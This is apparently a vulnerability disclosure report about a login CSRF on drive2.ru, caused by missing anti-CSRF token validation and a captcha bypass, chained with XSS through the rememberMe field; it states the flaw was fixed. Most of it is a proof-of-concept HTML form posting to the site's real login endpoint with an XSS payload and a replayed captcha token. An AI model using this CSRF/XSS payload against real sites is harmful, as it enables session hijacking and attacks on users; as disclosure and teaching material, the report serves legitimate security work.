[www.drive2.ru] CSRF through FCTX token bypass

Summary

During login on the login page, login is attempted through the FCTX token. In addition, the login page was implemented through g-recaptcha-response captcha, but an attacker can bypass g-recaptcha-response captcha without FCTX tokens, and login CSRF is possible.

The issue was fixed by enabling the missing anti-CSRF token validation.

Many developers do not implement CSRF tokens on their login page. This doesn't have a big impact on security, but the CSRF token is implemented in Drive2, but the CSRF token is missing and XSS linkage was possible during login. XSS is performed through the rememberMe variable during login.

PoC

<html>
  <body>
    <form action="https://www.drive2.ru/reception/?.AMRU=https%3A%2F%2Fwww.drive2.ru%2F" method="POST">
      <input type="hidden" name="login" value="youremail" />
      <input type="hidden" name="password" value="yourpassword" />
      <input type="hidden" name="rememberMe" value="<img src=x onerror=alert(document.domain)>"/>
      <input type="hidden" name="g&#45;recaptcha&#45;response" value="03AHaCkAaaWRVYvbxavoJwreHHcF7LYNyq7A2sokgDWogNTXpwfoJqOvg&#45;0NWV3rpXGmRJIbJsDz&#45;7WBbxcTnXQcHFUlJXEjZlV1MlzKhR90lnCK0f6H0hapfn8ntpkb4yrxGL1rO8pEYIesSxN9n&#95;KzKcLiehwQntUANUgt4fNDWXPodZI8uiaAxlUFvHX7TqctiVxAweCXIuOKxqcFZcU7MQYV06ZeCWLaisH7vxL36gR64Uq0Uq57vacU4Wr6wWbHt&#95;eGuCzrFaXhQHeW43bBCqRhCwQj&#95;ht1BFvf9MoX9&#95;BDG7q7bdkag2x6P80nLqA46feChNVBFMJQ&#95;3M3cAtcm5kdfzOELRkmJ6nHoCe3VPW7yYc5jHSexYxj8G9DwMA1Qy4tpTWc4F" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>